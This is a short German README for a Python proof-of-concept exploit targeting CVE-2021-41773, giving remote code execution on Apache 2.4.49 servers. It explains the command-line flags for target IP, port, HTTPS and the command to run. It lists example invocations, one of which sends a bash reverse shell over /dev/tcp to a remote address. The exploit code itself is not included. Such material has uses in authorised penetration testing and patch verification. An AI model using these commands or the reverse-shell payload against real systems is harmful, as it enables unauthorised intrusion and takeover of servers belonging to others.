
Python-basierter Proof-of-Concept-Exploit für CVE-2021-41773, der Remote-Code-Ausführung auf Apache 2.4.49-Servern mit benutzerdefinierten Befehls- und Portoptionen ermöglicht.
PoC für CVE-2021-41773, da ich gerade übermäßig komplizierte Exploits gefunden habe und dieser direkt zur Remote-Code-Ausführung führt.
Geben Sie einfach die IP-Adresse des anfälligen Apache 2.4.49-Servers mit -i und den gewünschten Systembefehl mit -c an. Wenn der Webserver nicht auf Port 80 läuft, können wir ihn mit -p angeben, und wenn der Webserver HTTPS verwendet, müssen Sie das Flag --use-https verwenden.
$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'
$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'
$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'
Verwenden Sie es auf eigene Verantwortung (:
Seien Sie ethisch.